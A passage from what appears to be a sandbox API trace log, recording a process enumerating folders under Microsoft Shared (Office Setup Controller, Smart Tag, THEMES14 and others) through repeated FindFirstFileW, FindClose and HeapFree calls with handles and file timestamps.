Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8cf291f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf291f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.848] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.849] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf4f350, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf4f350, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.850] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.850] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf754b0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf754b0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.851] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.851] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf4f350, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf4f350, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.852] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.852] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cfc1770, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cfc1770, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.854] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.854] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf9b610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf9b610, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.856] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.857] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8d45e210, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d45e210, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.859] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.860] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8d32d710, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d32d710, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.903] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.911] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8d353870, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d353870, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.939] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.940] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8d45e210, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d45e210, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.941] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.942] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.942] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.942] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.942] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.942] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.944] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.944] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.945] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.945] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d96d0d0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d96d0d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d484370, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d484370, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.946] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.946] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d4d0630, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d4d0630, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d4aa4d0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d4aa4d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.947] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.948] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.948] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.948] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.948] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.948] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.948] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.948] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e045010, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e045010, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.013] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.013] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.013] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.013] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.013] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.013] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e1e7f30, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e1e7f30, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.061] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.062] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e38ae50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e38ae50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.063] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.063] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e3b0fb0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e3b0fb0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.064] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.065] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e3d7110, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e3d7110, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.066] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.066] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e553ed0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e553ed0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.067] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.068] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e553ed0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e553ed0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.069] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.069] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e57a030, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e57a030, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.071] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.071] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e5c62f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e5c62f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.075] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.076] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e5ec450, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e5ec450, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.078] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.078] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8edf4e90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8edf4e90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.081] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.081] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ee1aff0, 